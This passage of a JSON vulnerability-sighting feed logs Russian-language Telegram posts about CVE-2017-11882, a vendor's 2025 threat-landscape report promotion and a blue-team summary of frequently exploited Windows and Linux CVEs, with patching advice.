\u0432\u0448\u0438\u0442\u044b\u043c \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f, \u043f\u0440\u0438\u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0433\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u043f\u0440\u043e \u0445\u0430\u043a\u0435\u0440\u043e\u0432 \u0437\u0434\u0435\u0441\u044c.", "creation_timestamp": "2026-08-04T00:00:31.257590Z"}, {"uuid": "5729df72-3c1a-4bab-96ea-3106ee7d8b89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/package_security/1850", "content": "\u00ab\u0421\u0430\u0433\u0430 \u043e \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u043c \u041c\u0438\u0434\u0433\u0430\u0440\u0434\u0435\u00bb: \u0433\u043e\u0434\u043e\u0432\u043e\u0439 \u043e\u0442\u0447\u0451\u0442 CyberThreatTech \u043e \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u0430\u0445 2025\n\n\u041c\u044b \u0432 CyberThreatTech \u0432\u0435\u0440\u0438\u043c \u043d\u0435 \u0432 \u00ab\u0441\u044b\u0440\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\u00bb, \u0430 \u0432 \u0437\u043d\u0430\u043d\u0438\u044f. \n\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0432\u043e\u0439 \u0433\u043e\u0434\u043e\u0432\u043e\u0439 \u043e\u0442\u0447\u0451\u0442 \u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0435 \u0443\u0433\u0440\u043e\u0437 \u043c\u044b \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u043b\u0438 \u043d\u0435 \u043a\u0430\u043a \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u0443\u044e \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0441 \u0446\u0438\u0444\u0440\u0430\u043c\u0438, \u0430 \u043a\u0430\u043a \u044d\u043f\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0432\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441 \u0425\u0443\u0433\u0438\u043d\u043e\u043c (\u041c\u044b\u0441\u043b\u044c\u044e) \u0438 \u041c\u0443\u043d\u0438\u043d\u043e\u043c (\u041f\u0430\u043c\u044f\u0442\u044c\u044e), \u0434\u0432\u0443\u043c\u044f \u0432\u043e\u0440\u043e\u043d\u0430\u043c\u0438 \u041e\u0434\u0438\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u043b\u0435\u0442\u0430\u044e\u0442 \u043c\u0438\u0440 \u0438 \u043f\u0440\u0438\u043d\u043e\u0441\u044f\u0442 \u043c\u0443\u0434\u0440\u043e\u0441\u0442\u044c.\n\n\u0417\u0430 \u044d\u0442\u043e\u0439 \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u043e\u0439 \u0441\u0442\u043e\u0438\u0442 \u043d\u0430\u0448\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u2014\u00a0\u041e\u0437\u0435\u0440\u043e \u0437\u043d\u0430\u043d\u0438\u0439 CTI (CTI Knowledge Lake). \n\n\u041c\u044b \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 280+ \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 (\u043e\u0442\u0447\u0451\u0442\u044b, \u043d\u043e\u0432\u043e\u0441\u0442\u0438, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432), \u043e\u0447\u0438\u0441\u0442\u0438\u043b\u0438 \u043e\u0442 LLM-\u0444\u0435\u0439\u043a\u043e\u0432, \u0441\u043d\u044f\u043b\u0438 \u0434\u0443\u0431\u043b\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u0440\u0430\u0437\u0440\u043e\u0437\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0432 \u0435\u0434\u0438\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u0443. \n\n\u0427\u0442\u043e \u043c\u044b \u0443\u0432\u0438\u0434\u0435\u043b\u0438 \u0432 2025 \u0433\u043e\u0434\u0443?\n\n\u0421\u0434\u0432\u0438\u0433 \u0446\u0435\u043b\u0435\u0439: \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0433\u043e\u0441\u0441\u0435\u043a\u0442\u043e\u0440, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0443 \u0438 \u0442\u0435\u043b\u0435\u043a\u043e\u043c \u0440\u0430\u0441\u0442\u0443\u0442. \u0412 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442 63%.\n\n\u0420\u0430\u0437\u043b\u0438\u0447\u0438\u044f \u0412\u041f\u041e:\u00a0\u0421\u043a\u043e\u0443\u043f \u0412\u041f\u041e \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u043c\u0438\u0440\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u00a014\u201340%. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0430\u0431\u043e\u0440 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0443\u0442\u0438\u043b\u0438\u0442\u00a0(Cobalt Strike, Mimikatz, AnyDesk \u0438 \u0442\u0434.) \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u0435\u043d \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u043c\u0443.\n\n\u0421\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0443\u043c\u0438\u0440\u0430\u044e\u0442: CVE-2017-11882 (MS Office) \u2014 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0432 \u0442\u043e\u043f\u0435. Log4Shell, Zerologon, ProxyShell \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f. \u041f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0431\u0443\u043a\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442.\n\nLLM-\u0444\u0435\u0439\u043a\u0438: \u041c\u044b \u043d\u0430\u0441\u0447\u0438\u0442\u0430\u043b\u0438 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 45 \u043e\u0442\u0447\u0451\u0442\u043e\u0432, \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044f\u043c\u0438 \u0438 \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435. \u0410 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0432\u0441\u0451 \u0447\u0430\u0449\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0440\u0430\u0431\u043e\u0442\u044b \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0431\u0435\u0437 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2014 \u0432 \u0442\u043e\u043f\u0435:\u00a0 \u043d\u0430\u0448\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u0422\u043e\u043f50 \u043e\u0431\u0449\u0435\u043c\u0438\u0440\u043e\u0432\u044b\u0445, \u0430 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0443\u0440\u043e\u0432\u043d\u044e \u043c\u0438\u0440\u043e\u0432\u044b\u0445 \u043b\u0438\u0434\u0435\u0440\u043e\u0432.\n\n\u0418\u043d\u0444\u043b\u044f\u0446\u0438\u044f \u043e\u0442\u0447\u0451\u0442\u043e\u0432: 2884 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0445 TI-\u043e\u0442\u0447\u0451\u0442\u0430 \u2014 \u043d\u0430 22% \u0431\u043e\u043b\u044c\u0448\u0435, \u0447\u0435\u043c \u0432 2024. 11,7 \u043e\u0442\u0447\u0451\u0442\u0430 \u0432 \u0434\u0435\u043d\u044c. \u0420\u0443\u0447\u043d\u0430\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0432 20\u201325 \u043c\u043b\u043d \u0440\u0443\u0431\u043b\u0435\u0439 \u0432 \u0433\u043e\u0434 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0437\u0430\u0440\u043f\u043b\u0430\u0442\u044b \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0432.\n\n\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e\u0442 \u043e\u0442\u0447\u0451\u0442 \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c?\n\n\u041e\u043d \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u043d\u0430 \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0447\u0435\u0441\u043a\u0438\u0439 \u0418\u0411-\u0432\u043e\u043f\u0440\u043e\u0441:\u00a0\u00ab\u0427\u0442\u043e \u043c\u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0437\u043d\u0430\u0442\u044c?\u00bb\u00a0 \u0424\u0438\u043b\u044c\u0442\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0438\u0433\u043d\u0430\u043b\u044b, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b\u0435 \u0446\u0435\u043f\u043e\u0447\u043a\u0438 TTP \u0438 \u043e\u0446\u0435\u043d\u043a\u0438 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u0427\u0438\u0442\u0430\u0442\u044c \u0442\u0443\u0442:\u00a0https://2025.ctt.ru/?utm_source=report_paket\n\n\u041c\u044b \u0432 CyberThreatTech \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u041e\u0437\u0435\u0440\u043e \u0437\u043d\u0430\u043d\u0438\u0439, \u0447\u0442\u043e\u0431\u044b \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0447\u0435\u0440\u043f\u0430\u0442\u044c \u0438\u0437 \u043d\u0435\u0433\u043e \u043c\u0443\u0434\u0440\u043e\u0441\u0442\u044c, \u0430 \u043d\u0435 \u0442\u043e\u043d\u0443\u0442\u044c \u0432 \u0434\u0430\u043d\u043d\u044b\u0445. \n\n\u0412\u0430\u0448\u0430 \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u2014 \u0437\u0430\u0434\u0430\u0442\u044c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441.\n#CTI #threatintelligence #communitydriven #\u043a\u0438\u0431\u0435\u0440\u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0430 #CyberThreatTech\n\u00a0", "creation_timestamp": "2026-05-26T12:57:33.000000Z"}, {"uuid": "832b9fe5-d0e7-4451-80a6-ca6a7b5c88e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/REDTalk_base/96", "content": "\u041f\u0440\u0438\u0432\u0435\u0442, \u0434\u0440\u0443\u0437\u044c\u044f! \ud83d\udc4b\n\n\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435\u0439 \u043e\u0442 \u043a\u043e\u043b\u043b\u0435\u0433 \u0438\u0437 Kaspersky \u043e \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445 \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430.\n\n\u0417\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0431\u044b\u043b\u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438: \n\n1\ufe0f\u20e3SQL Injection\n\n2\ufe0f\u20e3Command Injection\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0435 \u043b\u0438\u0434\u0435\u0440\u044b \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438\u0441\u044c:\n\n1\ufe0f\u20e3Unrestricted Upload of File with Dangerous Type\n\n2\ufe0f\u20e3SQL Injection\n\n3\ufe0f\u20e3Path Traversal\n\n\u0418\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0447\u0430\u0441\u0442\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 CVE \u0434\u043b\u044f Windows:\n\n1\ufe0f\u20e3RCE: \n        CVE-2018-0802, CVE-2017-11882 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435 \u0444\u043e\u0440\u043c\u0443\u043b ms office\n\n        CVE-2021-40444 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MSHTML\n\n2\ufe0f\u20e3LPE: CVE-2017-0199 - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 MS office \u0438 WordPad\n\n\u0414\u043b\u044f Linux:\n\n1\ufe0f\u20e3LPE:\n        CVE-2022-0847, CVE-2023-2640 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u044f\u0434\u0440\u0435 Linux\n\n        CVE-2021-4034 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 pkexec\n\n\ud83d\ude0f \u041f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0437\u0434\u0435\u0441\u044c: vulnerability-exploit-report-q2-2024\n\n\u0413\u043b\u0430\u0432\u043d\u043e\u0435, \u0434\u0440\u0443\u0437\u044c\u044f, \u0431\u0435\u0437 \u043f\u0430\u043d\u0438\u043a\u0438 \ud83d\ude0a!  \u0413\u0440\u0430\u043c\u043e\u0442\u043d\u044b\u0439 \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433 \u0441\u0435\u0442\u0438, \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u044b\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u043a \u0437\u0430\u0449\u0438\u0442\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432 \u043e\u0441\u043d\u043e\u0432\u0430\u043c \u0418\u0411, \u043f\u043e\u043c\u043e\u0433\u0443\u0442 \u0432\u0430\u043c \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0441\u043f\u043e\u043a\u043e\u0439\u0441\u0442\u0432\u0438\u0435 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c.\n\n\u0412\u0441\u0435\u043c \u0445\u043e\u0440\u043e\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0438 \u0431\u0443\u0434\u044c\u0442\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438! \ud83d\udee1\n\n#blueteam", "creation_timestamp": "2026-08-05T00:00:35.061584Z"}, {"uuid": "969065a7-3555-42d9-9aaf-fea531824554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/haccking/12906", "content": "\u00ab\u0421\u0430\u0433\u0430 \u043e \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u043c \u041c\u0438\u0434\u0433\u0430\u0440\u0434\u0435\u00bb: \u0433\u043e\u0434\u043e\u0432\u043e\u0439 \u043e\u0442\u0447\u0451\u0442 CyberThreatTech \u043e \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437\u0430\u0445 2025\n\n\u041c\u044b \u0432 CyberThreatTech \u0432\u0435\u0440\u0438\u043c \u043d\u0435 \u0432 \u00ab\u0441\u044b\u0440\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435\u00bb, \u0430 \u0432 \u0437\u043d\u0430\u043d\u0438\u044f. \n\n\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0432\u043e\u0439 \u0433\u043e\u0434\u043e\u0432\u043e\u0439 \u043e\u0442\u0447\u0451\u0442 \u043e \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442\u0435 \u0443\u0433\u0440\u043e\u0437 \u043c\u044b \u043f\u043e\u0441\u0442\u0440\u043e\u0438\u043b\u0438 \u043d\u0435 \u043a\u0430\u043a \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u0443\u044e \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0441 \u0446\u0438\u0444\u0440\u0430\u043c\u0438, \u0430 \u043a\u0430\u043a \u044d\u043f\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u043f\u043e\u0432\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441 \u0425\u0443\u0433\u0438\u043d\u043e\u043c (\u041c\u044b\u0441\u043b\u044c\u044e) \u0438 \u041c\u0443\u043d\u0438\u043d\u043e\u043c (\u041f\u0430\u043c\u044f\u0442\u044c\u044e), \u0434\u0432\u0443\u043c\u044f \u0432\u043e\u0440\u043e\u043d\u0430\u043c\u0438 \u041e\u0434\u0438\u043d\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u0431\u043b\u0435\u0442\u0430\u044e\u0442 \u043c\u0438\u0440 \u0438 \u043f\u0440\u0438\u043d\u043e\u0441\u044f\u0442 \u043c\u0443\u0434\u0440\u043e\u0441\u0442\u044c.\n\n\u0417\u0430 \u044d\u0442\u043e\u0439 \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u043e\u0439 \u0441\u0442\u043e\u0438\u0442 \u043d\u0430\u0448\u0430 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u2014\u00a0\u041e\u0437\u0435\u0440\u043e \u0437\u043d\u0430\u043d\u0438\u0439 CTI (CTI Knowledge Lake). \n\n\u041c\u044b \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u043b\u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 280+ \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432 (\u043e\u0442\u0447\u0451\u0442\u044b, \u043d\u043e\u0432\u043e\u0441\u0442\u0438, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u044b, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u0432), \u043e\u0447\u0438\u0441\u0442\u0438\u043b\u0438 \u043e\u0442 LLM-\u0444\u0435\u0439\u043a\u043e\u0432, \u0441\u043d\u044f\u043b\u0438 \u0434\u0443\u0431\u043b\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u0440\u0430\u0437\u0440\u043e\u0437\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0432 \u0435\u0434\u0438\u043d\u0443\u044e \u043a\u0430\u0440\u0442\u0438\u043d\u0443. \n\n\u0427\u0442\u043e \u043c\u044b \u0443\u0432\u0438\u0434\u0435\u043b\u0438 \u0432 2025 \u0433\u043e\u0434\u0443?\n\n\u0421\u0434\u0432\u0438\u0433 \u0446\u0435\u043b\u0435\u0439: \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0433\u043e\u0441\u0441\u0435\u043a\u0442\u043e\u0440, \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0443 \u0438 \u0442\u0435\u043b\u0435\u043a\u043e\u043c \u0440\u0430\u0441\u0442\u0443\u0442. \u0412 \u044d\u043d\u0435\u0440\u0433\u0435\u0442\u0438\u043a\u0435 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u0441\u0442\u0438\u0433\u0430\u0435\u0442 63%.\n\n\u0420\u0430\u0437\u043b\u0438\u0447\u0438\u044f \u0412\u041f\u041e:\u00a0\u0421\u043a\u043e\u0443\u043f \u0412\u041f\u041e \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u043c\u0438\u0440\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u00a014\u201340%. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043d\u0430\u0431\u043e\u0440 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u0445 \u0443\u0442\u0438\u043b\u0438\u0442\u00a0(Cobalt Strike, Mimikatz, AnyDesk \u0438 \u0442\u0434.) \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u0435\u043d \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u043e\u043c\u0443.\n\n\u0421\u0442\u0430\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0443\u043c\u0438\u0440\u0430\u044e\u0442: CVE-2017-11882 (MS Office) \u2014 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0432 \u0442\u043e\u043f\u0435. Log4Shell, Zerologon, ProxyShell \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f. \u041f\u0430\u0442\u0447-\u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442 \u043f\u0440\u043e\u0431\u0443\u043a\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442.\n\nLLM-\u0444\u0435\u0439\u043a\u0438: \u041c\u044b \u043d\u0430\u0441\u0447\u0438\u0442\u0430\u043b\u0438 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 45 \u043e\u0442\u0447\u0451\u0442\u043e\u0432, \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0439\u0440\u043e\u0441\u0435\u0442\u044f\u043c\u0438 \u0438 \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0445 \u0437\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435. \u0410 \u0437\u0430\u043f\u0430\u0434\u043d\u044b\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u044b \u0432\u0441\u0451 \u0447\u0430\u0449\u0435 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0440\u0430\u0431\u043e\u0442\u044b \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439 \u0431\u0435\u0437 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2014 \u0432 \u0442\u043e\u043f\u0435:\u00a0 \u043d\u0430\u0448\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u0445\u043e\u0434\u044f\u0442 \u0432 \u0422\u043e\u043f50 \u043e\u0431\u0449\u0435\u043c\u0438\u0440\u043e\u0432\u044b\u0445, \u0430 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043e\u0442\u0435\u0447\u0435\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0442\u0447\u0451\u0442\u043e\u0432 